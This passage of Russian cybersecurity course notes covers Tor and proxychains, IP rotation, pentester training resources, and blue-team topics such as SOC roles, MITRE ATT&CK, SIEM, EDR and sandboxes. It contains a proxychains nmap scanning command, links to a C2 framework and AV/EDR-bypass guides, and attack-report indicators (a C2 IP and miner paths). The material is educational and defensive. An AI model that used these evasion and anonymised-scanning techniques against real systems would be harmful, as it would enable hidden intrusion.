маршрутизатор, где все повторяется. Таким образом, промежуточные узлы не знают источника, пункта назначения и содержания сообщения. Маршрутизаторы были названы луковыми, так как слои шифрования подобны чешуйкам луковицы. **Как воспользоваться TOR?** Инструментом TOR можно пользоваться, работая с браузером TOR, но чаще всего эксперты поднимают входной узел сети Tor как сервис и пользуются им в виде прокси. Ранее мы рассматривали с вами инструмент proxychains, для того, чтобы использовать большинство CLI утилит через прокси. Рассмотрим, как это можно реализовать, используя Tor: ``` $ sudo apt install proxychains tor -y                <- Установка  $ service tor start                                                      <- Запуск сервиса Tor на порту стандартном порту 9050 $ vim /etc/proxychains4.conf                                    <- Настройка Proxychains в файле конфигурации … proxy_dns socks4  127.0.0.1 9050  socks5  127.0.0.1 9050  … $ proxychains nmap -targetaddress <- Запуск утилиты Nmap с использованием proxy Tor ``` **Атаки на клиентов Tor** Tor Browser или использование Tor как прокcи имеет набор проблем, которые возникают из-за особенностей конфигурации или из-за уязвимостей в отдельных версиях ПО. Большинство известных атак касаются проблем деанонимизации клиентов Tor и анализа трафика клиентов Tor. Первый вид атак реализуется посредством установки входных и выходных узлов сети Tor, принадлежащих одному владельцу, который может по объему пакетов и времени запроса определять, что тот или иной входный и выходной трафик принадлежат одному и тому же клиенту. Второй вид атак касается возможностей внедрения трафика, либо на стороне входного узла (дублирование пакетов запросов и поиск задублированных пакетов на выходе), либо на стороне выходного узла используя попытки завести клиентов сети Tor на свой сайт и замерять получаемые клиентом данные или заставить его выполнить DNS запросы в обход прокси. **Ротация IP адресов** Для постоянной смены IP адресов зачастую недостаточно пользоваться такими сервисами, как Tor или I2P, т.к. некоторые сервисы могут блокировать вас по факту принадлежности вашего IP к сетям анонимного доступа. Также такие сети не позволяют выполнять множественные запросы, постоянно изменяя IP с высокой скоростью. **В качестве популярных решений существуют:** Сервисы: - [https://www.proxyrotator.com/](https://www.proxyrotator.com/) - [https://stormproxies.com/](https://stormproxies.com/) - [https://brightdata.com/](https://brightdata.com/) Плагин для Burp Suite: - [IP Rotate](https://portswigger.net/bappstore/2eb2b1cb1cf34cc79cda36f0f9019874) Консольные утилиты: - [Fireprox](https://github.com/ustayready/fireprox) Облачные провайдеры: - Сервис Cloud Functions - AWS API Gateway - AWS Lambda **Дополнительная информация** - [Как работает Tor](https://habr.com/ru/post/357128/) - [Настройка I2P](https://habr.com/ru/post/97827/) - [О proxy](https://thesafety.us/ru/http-socks-proxy) - [Cover Your Tracks, чтобы оценить фингерпринт в браузере](https://coveryourtracks.eff.org/learn) - [Фреймворк контроля и управления гибко адаптируемый под задачи обхода обнаружения](https://github.com/HavocFramework/Havoc) - [Чек-лист по обходу обнаружения антивирусами и EDR системами](https://book.hacktricks.xyz/windows-hardening/av-bypass) - [Набор статей на тему обхода обнаружения различными способами в различных ситуациях](https://www.ired.team/offensive-security/defense-evasion) # Развитие хакера Как было сказано ранее, важно наполнять вашу техническую эрудицию и постоянно практиковаться. Вот основные навыки, которые вам предстоит отрабатывать: - Знание типовых уязвимостей: OWASP ASVS, MASVS, PTES, CVE - Знание и опыт использование инструментов: списки Awesome Pentest - Навыки программирования: языки Python, PHP, Java, Go, JavaScript, Ruby, C, Cpp, C# - Навыки администрирования операционных систем: Linux,Windows - Понимание устройства сети и популярных протоколов: TCP/IP-стек, HTTP, DNS, SMTP, FTP, SMB - Troubleshooting: навыки устранения проблем Перечислим **виды деятельности по взламыванию разных типов информационных систем:** - Анализ защищенности веб-приложений - Анализ защищенности и тестирование на проникновение ИТ-инфраструктуры компании - Обратная разработка и анализ защищенности мобильных приложений - Анализ защищенности беспроводных сетей - Разведка среди открытых источников - Обратная разработка и анализ защищенности IoT-устройств - Обратная разработка программного обеспечения **Книги:** - “Современные операционные системы” Э. Танненбаум - “Компьютерные сети. Принципы, технологии, протоколы” Олифер - “Прикладная криптография” Б. Шнаер **Языки программирования:** - Python - [https://www.python.org/about/gettingstarted/](https://www.python.org/about/gettingstarted/) - Java (Kotlin) - [https://dev.java/learn/getting-started/](https://dev.java/learn/getting-started/) - PHP -[ https://www.php.net/manual/ru/](https://www.php.net/manual/ru/) - JavaScript - [https://developer.mozilla.org/ru/docs/Web/JavaScript](https://developer.mozilla.org/ru/docs/Web/JavaScript) - Go - [https://go.dev/learn/](https://go.dev/learn/) **Платформы для тренировок эксплуатации уязвимостей:** - PortSwigger Academy - [https://portswigger.net/web-security](https://portswigger.net/web-security) - HackTheBox - [https://www.hackthebox.com/](https://www.hackthebox.com/) - VulnHub - [https://www.vulnhub.com/](https://www.vulnhub.com/) - TryHackMe - [https://tryhackme.com/](https://tryhackme.com/) - Киберполигон Standoff365 - [https://range.standoff365.com/](https://range.standoff365.com/) # Реверс-инжиниринг # Материалы **Книги** - "The Shellcoder's Handbook" (Крис Касперски) — эксплуатация уязвимостей. - "Practical Malware Analysis" — реверс-инжиниринг. - "Ассемблер — это просто" (А. В. Калашников) — для начинающих. **Курсы** - **[x86 Assembly Adventures](https://www.udemy.com/x86-assembly/)** (`Udemy`). - **[Modern Binary Exploitation](https://github.com/RPISEC/MBE)** (`RPISEC`). **Практика** - **[CTF Challenges](https://ctftime.org/)** (`реверс`, `pwn`). - **[Microcorruption](https://microcorruption.com/)** (`взлом embedded`). # Blue team # Общая информация Конвертация VMWare в VirtualBox - [Загрузить OVF Tool](https://developer.broadcom.com/tools/open-virtualization-format-ovf-tool/latest). Также вы можете найти путь установки вашего VMware (там есть ovftool). - Через CMD с правами администратора в каталоге установки ovftool: ``` ovftool <локатор источника> <локатор назначения> C:\Program Files\VMware\VMware OVF Tool>ovftool.exe "D:\...\Ubuntu 64-bit.vmx" "D:\...\ubuntu_wp_lesson.ova" ``` - Открыть файл .ovf с помощью VirtualBox. **Сфера ответственности SOC:** SOC - security operational center - Активный мониторинг IT-среды и сбор данных об инцидентах в режиме 24/7. Для мониторинга и сбора данных специалисты могут использовать SIEM-решения и EDR-продукты. - Анализ подозрительных событий. - Реагирование на угрозы. - Восстановление после инцидента. - Расследование инцидентов. - Ведение реестра ресурсов. - Менеджмент соответствия требованиям таких как GDPR, HIPAA, CPPA и так далее. - Обеспечение работоспособности инструментов SOC. Включает в себя поддержку работы граничных систем сетевой безопасности и инфраструктуры SOC, создание собственных правил и сигнатур, а также подбор и внедрение решений, использующихся в работе SOC. **Состав команды SOC** **Аналитик 1-ой линии** (L1 Analyst или Tier 1 Analyst) распределение и первичный отсев явных ложных срабатываний систем. (False Positive). Опираются на созданные сценарии для данного типа инцидента. Если аналитик 1-го уровня может, то реагирует. Иначе передает аналитику 2-го уровня. **Аналитик 2-ой линии** (L2 Analyst или Tier 2 Analyst) получает фактуру по сложным инцидентам. Он анализирует уникальную ситуацию. В случае непонимания эскалация специалисту по реверс-инжинирингу или эксперту по форензике. **Аналитики 3-ей линии** в основном состоят из профильных специалистов, которые хорошо разбираются в своей специализации, таких как: - **Форензик-эксперт** (специалист по компьютерной криминалистике) делают: - что изменилось в атакованной системе (компьютере, сервере, смартфоне), какие данные были стерты, изменены или похищены вирусом, - какие еще системы были атакованы. - воссоздать полный путь распространения угрозы: определить, на каком компьютере был этот вирус впервые запущен, что он делал на зараженной системе, как затем развивалась атака и как был в итоге нанесен ущерб. - **Специалист по реверс-инжинирингу** — профессиональный программист, изучающий вредоносное ПО для противодействия кибератакам. Задача - понять, как устроен вирус: запустить вирус в изолированной среде (т.н. песочнице) для анализа его поведения, провести процедуру обратной разработки и получить из файла-образца первоначальный программный код, чтобы уже в нем найти особенности, которые помогут понять, что именно делает данный вирус и как ему лучше противостоять. При этом хакеры знают, что их вирус рано или поздно попадет к такому эксперту на исследование, и поэтому применяют техники запутывания (обфусцирования) кода, чтобы усложнить задачу реверс-инжиниринга. - **Специалист по киберразведке** (CyberThreat Intelligence) отвечает за поиск ранее не обнаруженных или затаившихся вредоносных программ, например вирусов-логических бомб, которые срабатывают только при наступлении определенных условий, а до этого никак себя не проявляют. Также такой эксперт ищет информацию о новых вирусах, новых киберпреступных группировках, пытается понять, не планируется ли атака на компанию-заказчика, нет ли «заказа» на кражу коммерческой информации защищаемой фирмы. - **Специалист по разработке и настройке контента в системах SIEM, SOAR, IRP:** - составляет правила выявления реагирования в системах SOC-Центра. - правила автоматического реагирования, локализации, восстановления информационных систем при помощи SOAR и IRP решений. Если используются сигнатурные методы обнаружения угроз, то создает сигнатуры, т.е. описывает правила, по которым угроза должна быть обнаружена. **Инженер группы инфраструктуры** — настраивает внутренние системы SOC-Центра, отвечает за стабильность получения данных. **Сервис менеджер** координируют работу команды SOC, связывает друг с другом заказчиков и исполнителей, выполняет организационную работу. Контролирует соблюдение SLA (соглашение об уровне услуг). **Руководитель SOC** — занимается организационной деятельностью, планированием развития и штата, в коммерческих SOC участвует во встречах с потенциальными Заказчиками для привлечения новых клиентов. Участвует в маркетинговых активностях с целью продвижения. Является точкой эскалации при решении возникших проблем. ![](https://ucarecdn.com/e6176732-89c9-40ee-97a5-45ec03c58779/) **Операционные модели SOC:** - собственный(in-house); - сервисный(MSSP - Managed Security Service Provider); - гибридный. В первом случае **собственного**(**in-house) SOC** находится полностью в собственности организации с точки зрения владения оборудованием и найма специалистов. Это самый дорогой и длительный по времени вариант построения центра мониторинга. Попытка выстраивания процессов и реализации может занять годы и не всегда может увенчаться успехом. В случае **сервисной модели SOC** (или MSSP) центр мониторинга находится полностью на стороне сервис-провайдера. В этом случае заказчику не нужно нанимать и содержать персонал, разрабатывать регламенты, корреляционные правила, заниматься закупкой оборудования и лицензий для ИБ-решений, такие как SIEM, SOAR, TIP. К тому же данный вариант является наиболее быстрым в плане подключения для заказчика и может составлять от 1 месяца. ![](https://ucarecdn.com/a908a215-de39-4bc6-9f3f-9d7d78f09c1c/) *Схема сервисной модели SOC* В случае **гибридной модели SOC** оборудование приобретается на средства заказчика и разворачивается в его инфраструктуре, заказчиком закупаются лицензии для SIEM, SOAR решения, а управление осуществляется совместно с сервис-провайдером. ![](https://ucarecdn.com/29152c2f-a16e-40e0-92bb-818ae5c9ba27/)*Схема гибридной модели SOC* Аутсорсинговая и, в меньшей степени, гибридная модели позволяют оптимизировать затраты на ИБ и сосредоточиться на профильных активностях компании-заказчика. Собственный SOC позволяет более глубоко углубиться в процессы и особенности инфраструктуры компании, поэтому у каждой модели есть свои сильные и слабые стороны. **Концепты информационной безопасности** **Конфиденциальность.** Сохранение целостности, защиты от утечки сведений, которые не предназначены для общего использования и несут интеллектуальную, экономическую ценность для обладателя. Отвечает на следующие вопросы: - Насколько защищена информация? - Насколько она должна быть защищена? К механизмам защиты конфиденциальности относятся шифрование, пароли, аутентификация, брандмауэры и т.д.. Также в этот раздел попадает физическая защита - двери, заборы и камеры. **Целостность.** Состояние информации, при котором отсутствует любое её изменение, либо изменение осуществляется только преднамеренно субъектами, имеющими на него право. Для определения целостности информации можно использовать: - Насколько верна информация? - Была ли она изменена или повреждена? Хеширование, цифровые подписи и контрольные суммы помогают отслеживать и проверять целостность. **Доступность.** Возможность своевременного и надёжного использования информации или сервисов. Отвечает на вопрос “Всегда ли данные, которые должны быть доступны пользователю, доступны?” Избыточность систем хранения, питания и передачи данных помогает повысить доступность информации. Также относятся стратегии резервного копирования и аварийного восстановления данных в случае повреждения или утраты. **Риски и управление ими** Риск является центральной точкой другой триады: угрозы, уязвимости и активы. - Если у вас нет ничего, что может быть украдено, то скорее всего вы ничем не рискуете. - Если ваша система безупречна (вспомним сервер на подводной лодке), то уязвимостей нет. - Если никому не нужны ваши активы или у них нет способов для их кражи, вы свободны от угроз. **Активы.** Ресурс, которым владеет или который контролирует бизнес, в материальной или нематериальной форме, используемый для создания экономической выгоды. - информация или данные; - сетевое оборудование; - серверы/компьютеры; - программное обеспечение; - персонал; - процессы. **Уязвимости.** Недостаток программно-технического средства или информационной системы в целом, который может быть использован для реализации угроз безопасности информации Это внутренниме факторы. Патчи или дополнительные меры безопасности могут устранить эти недостатки. Иногда уязвимость находится вне вашего контроля, например, при использовании закрытого программного обеспечения. Задача инженера ИБ — компенсировать эти слабости. **Угрозы.** Любое состояние, которое может привести к краже, потере, повреждению или компрометации актива. К угрозам относятся стихийные бедствия, кибератаки или вредоносное ПО. Угрозы не обязательно должны быть преднамеренными: мать-природа тоже опасна, и случаются несчастные случаи. Задача отдела ИБ — закрыть уязвимости, соответствующие вашим угрозам, а НЕ победить саму угрозу. **Классификация угроз** **Враждебные угрозы** Иностранные правительства, поставщики и конкуренты. **Случайные угрозы** - Ошибки, которые наносят ущерб безопасности системы - Опечатки или непреднамеренные действия, вредящие безопасности. - Сотрудник случайно взял устройство домой - Случайное нажатие кнопки питания, пожарной сигнализации и т. д. **Инфраструктурные угрозы** - Сбой оборудования, программного обеспечения или датчиков - Сбой жесткого диска, перегрев, ошибки и сбои - Причина, по которой компании делают резервное копирование и обеспечивают избыточную доступность данных. **Экологические угрозы** - Природные или техногенные катастрофы - Пожары, наводнения, ураганы, отключение электроэнергии, обрывы проводов и т. д. - Еще одна веская причина для резервного копирования и избыточности. - Угрозы выходят за рамки «злоумышленников». Недовольные сотрудники, несчастные случаи и ошибки могут привести к потере активов или поставить под угрозу безопасность. Риски меняются! Квантовые компьютеры сейчас не представляют угрозы, но могут стать ею через несколько лет, и могут радикально изменить подход к определению уязвимостей. **Обзор методологий** **Lockheed Martin's Cyber Kill Chain** В 2011 году Lockheed Martin's была разработана методология Lockheed Martin's Cyber Kill Chain. Она используется для определения этапов эксплуатации компьютерных сетей. Advanced Persistent Threats (APT). APT — это группы или организации, которые, вероятно, спонсируются национальными государствами. APT хорошо подкованы в области информационной безопасности, имеют доступ к огромным ресурсам, как финансовым, так и технологическим. Цель — получить несанкционированный доступ к системам и постоянно совершенствовать методы и тактику. Цепочка Cyber Kill Chain - Разведка - Вооружение - Доставка - Эксплуатация - Установка - Управление и контроль (Command and Control, C&C, C2) - Достижение конечной цели **MITRE ATT&CK** В 2013 году MITRE создала каталог техник, используемых в успешных APT-атаках. Подобно «Cyber Kill Chain», ATT&CK MITRE описывает активности атакующих от разведки до компрометации. В отличие от Kill Chain, MITRE ATT&CK описывает конкретные технические детали действий, выполняемых над целью, и связывает их в общую картину или тактику. Cyber Kill Chain компании Lockheed Martin's описывает, почему злоумышленники следуют определенной серии шагов: от разведки до эксплуатации целевых машин. Методология MITRE ATT&CK описывает, как именно злоумышленники выполняют эти действия. Всего в матрице описано 14 тактик: - разведка (Reconnaissance); - подготовка ресурсов (Resource Development); - первоначальный доступ (Initial Access); - выполнение (Execution); - закрепление в системе (Persistence); - повышение привилегий (Privilege Escalation); - обход средств защиты (Defense Evasion); - доступ к учетным данным (Credential Access); - исследование (Discovery); - дальнейшее перемещение (Lateral Movement); - сбор данных (Collection); - управление и контроль (Command and Control); - эксфильтрация данных (Exfiltration); - воздействие (Impact). Каждая тактика состоит из множества техник и подтехник. В конечном итоге, MITRE описывают конкретные действия, предпринимаемые атакующими, зачастую с указанием реальных примеров обнаруженных атак. Ссылка на тактику “Закрепление в системе” с техниками и подтехниками: [https://attack.mitre.org/techniques/T1137/](https://attack.mitre.org/techniques/T1137/) **Отчеты об атаках** При сравнении двух отчетов можно заметить некоторые сходства:
Фаза Индикатор
Разведка поиск публично доступных серверов Jenkins
Вооружение Использование скрипта PowerShell для загрузки майнера Monero
Доставка HTTP POST запрос в каталог CLI, содержащий код для скачивания эксплойта
Эксплуатация Эксплойт [CVE-2017-1000353](https://nvd.nist.gov/vuln/detail/CVE-2017-1000353) через скрипт PowerShell
Установка C:\\Windows\\minerxmr.exe
Командование и контроль (C2) 222.184.79.11:5329
Достижение конечной цели Майнинг Monero
И второй отчет:
Фаза Индикатор
Разведка поиск публично доступных серверов Oracle WebLogic
Вооружение Использование скрипта PowerShell для загрузки майнера Monero
Доставка HTTP POST запрос, содержащий XML, с кодом для скачивания эксплойта
Эксплуатация Эксплойт [CVE-2017-10271](https://nvd.nist.gov/vuln/detail/cve-2017-10271) через скрипт PowerShell
Установка C:\\minerxmr.exe
Командование и контроль (C2) 222.184.79.11:5329
Достижение конечной цели Майнинг Monero
Обратите внимание на незначительные различия между двумя таблицами. Хотя злоумышленник использовал две разные уязвимости, остальные этапы цепочки практически не изменились. Поскольку злоумышленник использовал одно и то же имя файла, скрипт PowerShell, путь установки и IP-адрес C2, это ускоряет выявление и устранение угрозы. Сходство показателей позволяет аналитикам определить, что атаки, вероятно, проводились одними и теми же преступниками. **Дополнительные материалы** - [Хакеры Черные шляпы, Белые шляпы и Серые шляпы – определение и описание](https://www.kaspersky.ru/resource-center/definitions/hacker-hat-types) - [14 типов хакеров, которых следует остерегаться](https://www.securitylab.ru/blog/company/PandaSecurityRus/351384.php) - [Хакерские группировки](https://www.ptsecurity.com/ru-ru/research/hacker-groups/) - [Виды угроз информационной безопасности](https://selectel.ru/blog/security-threats/) - [Управление рисками информационной безопасности](https://www.securityvision.ru/blog/upravlenie-riskami-informatsionnoy-bezopasnosti-konspekt-lektsii/) - [Книга: Кибербезопасность: главные принципы](https://www.piter.com/collection/all/product/kiberbezopasnost-glavnye-printsipy). - - [Цепочка Kill Chain: от моделирования до проектирования защищенного периметра](https://www.securitylab.ru/blog/personal/Informacionnaya_bezopasnost_v_detalyah/325123.php) - [Аналитические статьи Positive Technologies](https://www.ptsecurity.com/ru-ru/research/analytics/) - [Материалы и исследования BI.ZONE](https://bi.zone/expertise/research/) - [MITRE ATT&CK: что это и как применять в целях кибербезопасности](https://www.anti-malware.ru/analytics/Technology_Analysis/MITRE-ATT-CK-for-cybersecurity-purposes) - [Матрица MITRE ATT&CK, переведенная на русский язык](https://mitre.ptsecurity.com/ru-RU) - [Инциденты информационной безопасности: выявление, расследование и реагирование](https://selectel.ru/blog/security-incidents/) # Инфраструктура **Средства защиты** Мониторинг ИБ автоматизируют с помощью LM/SIEM, UBA/UEBA, IRP/SOAR, TIP, IDS/IPS, NTA, EDR, XDR, DDP. Постоянно развивается. **Log Management** Может быть в виде специализированного решения или унифицированного варианта, типа Elastic Stack. Централизованное хранилище журналов событий различных источников, приведенные к единой модели данных. Простой, гибкий и производительный поиск по событиям, отчёты и визуальные панели (дашборды) на основе таких поисков, но без корреляции событий на потоке. LM дешевле SIEM решение. Может работать рядом с SIEM. Задачи Log Management; - Изучение логов в производительной среде. - Оценка нагрузки на источник от передачи событий в стороннюю систему. Можно изучить и нагрузку на сеть. Помню случай, когда трафик проходил через межсетевой экран по пути от одной подсети сегмента в другую. Поток Syslog-событий большого объёма привёл к отказу в обслуживании на данном файрволе. - Понимание необходимости дополнительных логгеров на существующих источниках по результатам расследований. События Sysmon могут быть информативнее событий Windows. А Auditbeats фиксирует то же, что и auditd, но не дробит единое событие на четыре строки, что требует дополнительной корреляции и лицензионной квоты. - Оценка потока событий. У интеграторов и производителей есть калькуляторы, которые позволяют теоретически оценить какое количество событий в среднем генерирует каждый тип источника событий. На практике генерация событий источниками зависит от их функций и нагруженности. - Привести инфраструктуру в соответствие с политиками и регламентами. Для большинства этих кейсов корреляция не требуется. LM позволит выявлять несоответствие политикам (использование неразрешенного ПО, не регламентированных подключений к сетевым портам и т.д.). - Организовать Threat Hunting и расследование инцидентов. LM для данной задачи — единственная необходимая платформа. Например, вы видите вредоносный DNS-запрос на межсетевом экране, в журнале МЭ фигурирует в качестве инициатора контроллер домена, для выявления хоста инициатора необходимо еще проанализировать журналы DNS-сервера для определения какой хост выполнял запрос и на нем анализировать вредоносный процесс. **Security Information and Event Management(SIEM)** Система управления информацией и событиями в системе безопасности. Объединяет в одной точке данные об инцидентах ИБ. Собирает информацию из журналов событий средств защиты, сетевого оборудования, рабочих станций сотрудников и других ресурсов — тем самым исключает необходимость проверять их по отдельности и снижает риск возникновения слепых зон. Задачи SIEM: - нормализация данных различных источников в единообразный и пригодный для обработки формат; - мониторинг и консолидация событий безопасности со всех систем и устройств корпоративной сети; - обогащение данных о событиях связанной информацией из других ресурсов; - регистрация инцидентов на основе заданных правил корреляции — взаимосвязей между событиями и их цепочками, в том числе из разных источников; - информирование оператора об инциденте через чат-бот, email-сообщение, уведомление в интерфейсе системы и другими способами; - хранение исторических данных о всех событиях ИБ и поддержка при расследовании инцидентов; - анализ и управление рисками безопасности, проверка на соответствие стандартам и требованиям регуляторов; - формирование отчетных документов для внутренних целей и контролирующих органов. Компоненты SIEM - агенты, устанавливаемые на инспектируемую информационную систему (актуально для операционных систем (агент представляет собой резидентную программу (сервис, демон), которая локально собирает журналы событий и по возможности передает их на сервер); - коллекторы на агентах, которые, по сути, представляют собой модули (библиотеки) для понимания конкретного журнала событий или системы; - серверы-коллекторы, предназначенные для предварительной аккумуляции событий от множества источников; - сервер-коррелятор, отвечающий за сбор информации от коллекторов и агентов и обработку по правилам и алгоритмам корреляции; - сервер баз данных и хранилища, отвечающий за хранение журналов событий. **ServiceDesk, IRP, SOAR** Система обработки заявок. Изначально при построении SOC, может не быть Incident Response Platform(IRP) или Security Orchestration, Automation and Response(SOAR), для фиксации и описания деталей инцидента в минимальном формате подходит ServiceDesk. IRP/SOAR — это специализированный ServiceDesk с функцией исполнения скриптов. Если у вас получится закрыть часть требований встроенным функционалом, вам необходимо получить более простые и стабильные способы работы со скриптами или дать службе мониторинга отдельный от ИТ инструмент со специализированным интерфейсом. Автоматизация способна ускорить реагирование на часть кейсов на 1-2 порядка. Второй вариант использования — учёт действий аналитика. Если в инциденте участвует критичный актив, например, АСУ ТП, каждый шаг должен быть выполнен компетентным сотрудником, который ответственен за решение, ничего не должно быть пропущено, действия должны журналироваться. Основные функции IRP, SOAR - Единая регистрация всех инцидентов безопасности в системе. IRP поддерживает работу в режиме «одного окна», где происходит создание, выполнение задач, контроль их состояния. - Ускорение отклика на инциденты. За счет автоматизированного анализа, сбора дополнительной информации для расследования инцидентов путем интеграции различных СЗИ, проведения коррекции ответных мер на основании анализа разных источников угроз. - Своевременное оповещение соответствующих лиц в системе о наступлении критически важных инцидентов. Реализуется за счет локальных сообщений в местных интерфейсах, электронной почты, мессенджеров, sms. - Предоставление актуальной статистики, иллюстрирующей текущее состояние IT-активов, число инцидентов, уязвимостей, выборка данных по требующимся метрикам. - Предоставление единого централизованного инструмента для выполнения инвентаризации IT-активов компании. Посредством IRP можно собрать полную информацию о текущих IT-активах на базе одного решения, предоставить пользователям права доступа в систему на основе разграничения прав. Эти процессы автоматизированы, затрагивают полный жизненный цикл IT-активов, что в разы повышает удобство и эффективность управления ими. Пример информации: - время первого и последнего события; - плановые сроки взятия в работу и решения; - таймлайн событий инцидента и общее количество событий; - критичность; - признак массового инцидента; - принадлежность к техникам и тактикам; - тэги инцидента и другое. Жизненный цикл инцидента Для оценки уровня реагирования на инциденты ИБ необходимо понимание жизненного цикла инцидента. Основные метрики жизненного цикла инцидента: - Среднее время регистрации заявки с подозрением на инцидент(МTTD). Отправка события ИБ в SIEM, регистрация заявки в IRP, предобработка, обогащение данными. - Среднее время подтверждение инцидента(MTTA). Аналитик берет инцидент в работу, анализирует и подтверждает инцидент. - Среднее время локализация инцидента(MTTC). Изоляции зараженного хоста от рабочего сегмента сети. - Cреднее время, необходимое на восстановление работоспособности системы после получения сигнала о сбое или кибератаке(МTTR). **EDR** Входит в состав антивирусной защиты, систем защиты от утечек данных и т.д. Но функционал — это дополнительная телеметрия (Detection в Endpoint Detection and Response) и возможности по реагированию (Response). Телеметрия расширяет и унифицирует функции штатных журналов операционных систем. То, что раньше выявлялось SIEM на основе нескольких событий или не выявлялось вовсе, теперь фиксируется как единая запись агента EDR, обогащённая различными метаданными. И, насколько это возможно, не зависит от семейства и версии операционной системы, на которую установлен агент. EDR содержит следующие функции: - сбор артефактов, нетипичных журналов событий из системы, например если вам надо оперативно получить потенциально вредоносный файл для анализа, то можно это сделать из консоли управления EDR; - интерактивный веб-шелл для выполнения удаленно команд на хосте, например для завершения работы вредоносного процесса в системе; - возможность удаленно и централизованно настраивать аудит событий или фильтрацию. Реагирование средствами EDR делает процесс максимально оперативным и гибким. Результат использования EDR — расширенная телеметрия и локальное автоматизированное реагирование. На сегодняшний день наиболее эффективны коммерческие решения EDR, но так же есть Open-source EDR решение, например [SOLDR](https://vxcontrol.com/) или [Wazuh](https://wazuh.com/). **TIP** Средство обработки входящего Threat Intelligence(TI). TI содержит в себе совокупность индикаторов компрометации (Indicator of Compromise) — IP(Internet Protocol), FQDN(Fully Qualified Domain Name), URL(Uniform Resource Locator), Hash и т.д., которые известны как злонамеренные, так как были ранее зафиксированы в компьютерных атаках. Цель TI - сокращение разрыва между первым обнаружением атаки где-то в мире и возможностью выявлять её у нас в инфраструктуре. Разве нельзя IOC использовать в средствах защиты напрямую, зачем TIP? Этот класс решений предоставляет функционал управления TI — нормализация, обогащение, дедупликация, приоритезация, хранение, устаревание, удаление. В систему приходит IOC и подвергается нормализации – приведению к единому набору полей заданного формата. С ним можно связать другие индикаторы – узнать FQDN по IP или всё семейство хэшей по исходному. Если IOC уже есть в базе – добавить атрибуты, например, что мы видели его в данных ещё одного источника в такое-то время. И присвоить ему оценку. При работе с индикатором аналитик исследует гипотезу, подтверждает или опровергает её, строит граф связей. Результат использования TIP – на средства защиты, в том числе в систему мониторинга, попадает более качественный, однозначно трактуемый и актуальный TI. А перечни IOC сокращаются на порядок, что позволяет повысить эффективность средств защиты, их использующих. MISP Одним из основных open-sourсe TIP-платформ является MISP. MISP (Malware Information Sharing Platform) — это открытая платформа для обмена информацией о угрозах, которая используется для обмена, обработки и проверки информации о киберугрозах и их контрмерах. Она была разработана для обеспечения быстрого и эффективного обмена информацией между различными организациями. MISP предоставляет инструменты для обмена, совместного использования и хранения информации о киберугрозах, включая индикаторы компрометации (IOC), тактики, техники и процедуры (TTP) атак, и пр. Это позволяет организациям быстро адаптироваться к новым угрозам и обеспечивать своевременный и эффективный ответ на инциденты безопасности. Примеры использования MISP - Совместное использование информации об угрозах: Компания А может поделиться информацией о недавней фишинговой атаке через MISP. Это поможет другим банкам узнать об этой атаке и принять меры по защите от аналогичных атак. - Анализ угроз: Исследовательская группа по безопасности может использовать MISP для анализа информации об угрозах, собранной из разных источников, и создания отчетов об угрозах для своих клиентов. - Обучение и симуляции: Учебные заведения и обучающие центры могут использовать MISP для создания реалистичных сценариев для обучения и симуляции кибератак. **SandBox** При выявлении подозрительных файлов приходится их анализировать. Для безопасного анализа созданы песочницы(SandBox). Запускают файл в изолированной среде и фиксируют все выполненные действия, такие как: запуска процессов, загрузки библиотек, сетевые соединения, DNS-запросы, вызовы WinAPI-функций, создание/удаление файлов и т.д. Так же события полученные от потоковых песочниц, которые проверяют файлы поступившие на почтовый сервер, можно направить в SIEM-систему, если песочница работает в режим мониторинга без блокировки. ANYRUN Удобство и особенность песочницы ANYRUN в том, что есть возможность самому запускать файлы или открывать веб-страницы в интерактивном режим. Области песочницы поделены на три блока: - Интерактивное окно виртуальной машины. - Информация о сетевых соединениях, HTTP, DNS-запросах, IDS-сигнатурах. - Запущенные процессы и команды. Cuckoo Загрузка файлов в облачных песочницах может быть недопустима. Для локального анализа есть open-source решение класса песочницы Cuckoo Sandbox, которую можно развернуть у себя в инфраструктуре. Три блока с информацией: - О размере файла, тип файла, хэш-суммы. - Какие YARA-правила сработали и выявлии аномалии. - Показатель вредоносности файла по 10 бальной шкале. Ниже детальная информация о сигнатурах. Красным цветом выделены наиболее критичные сигнатуры. Другие зарубежные облачные песочницы - [https://www.hybrid-analysis.com/](https://www.hybrid-analysis.com/) - [https://www.vmray.com/](https://www.vmray.com/) **NTA/NBA** Network Traffic Analysis — запись трафика для его последующего исследования. Гораздо больший по сравнению с LM/SIEM объем хранилища и необходимость предварительной расшифровки данных. Трафик объединяет в себе и информацию, и факт её передачи. В отличие от событий, генерация которых избирательна, он полностью описывает, что произошло между двумя взаимодействующими системами, и его нельзя удалить или сфабриковать. События собираются в LM или SIEM с некоторой задержкой, если это не Syslog, в случае которого возможен спуфинг. А если успеть очистить журнал источника (действие, подозрительное само по себе), что точно случилось узнать будет трудно. Можно использовать решения класса Network Behavior Analysis — аналог U(E)BA для сети. Чаще выпускаются в виде обособленных продуктов. Основных сетевых протоколов несколько десятков, что делает решение «из коробки» довольно эффективным. NTA и NBA — это аналоги SIEM и U(E)BA, позволяющие в более удобном и гибком варианте анализировать сетевой трафик. В качестве opensource решения NTA можно рассмотрим Arkime, которое парсит и складывает трафик в Elasticsearch и pcap(Packet Capture) файлы. Это позволяет анализировать сетевой трафик из веб-интерфейса. Предусмотрена интеграция c Suricata – Arkime умеет сопоставлять алерт с сессией и отображать это в интерфейсе. **BAS** Системы Breach and Attack Simulation (BAS) - комплексное тестирование киберзащиты инфраструктуры компании путём автоматизированной симуляции реальной атаки злоумышленника. Современные системы киберзащиты инфраструктур быстро эволюционируют, развиваются и становятся более комплексными с каждым годом. Происходит не только повышение сложности самих систем, но и постоянная оптимизация процессов защиты в компании. Становится всё труднее определить вектор движения по усилению защиты. Компании проводят пентесты, «редтиминг», сканирование на уязвимости — ищут различные решения, которые помогут как-то оценить текущий уровень защищённости и увидеть слабые места. Рутинность процессов требует автоматизации решений. Данных о прогнозировании потенциальных векторов уже недостаточно, необходим систематический запуск симуляции реальных действий злоумышленника. Решения BAS помогают автоматизировать такую симуляцию, а полученные результаты — увидеть актуальную картину того, каково состояние защиты компании. В контексте SOCa BAS может помочь для выявления собираются ли всех необходимые события аудита систем, для выявления не детектируемых техник и процедур атакующих из матрицы MITRE ATT&CK с последющей разработкой и для проверки корректности работы корреляционных правил выявления атак. Примеры - Infection Monkey - Invoke-Atomic от RedCanary Atomic Red Team. **UBA/UEBA** User and Entity Behavior Analytics (UEBA, «поведенческий анализ пользователей и сущностей») — технология выявления киберугроз, основанная на анализе поведения пользователей, а также устройств, приложений и иных объектов в информационной системе. Бывают самостоятельные и в виде модуля SIEM. Подозрительное действие пользователя (User в User Behavior 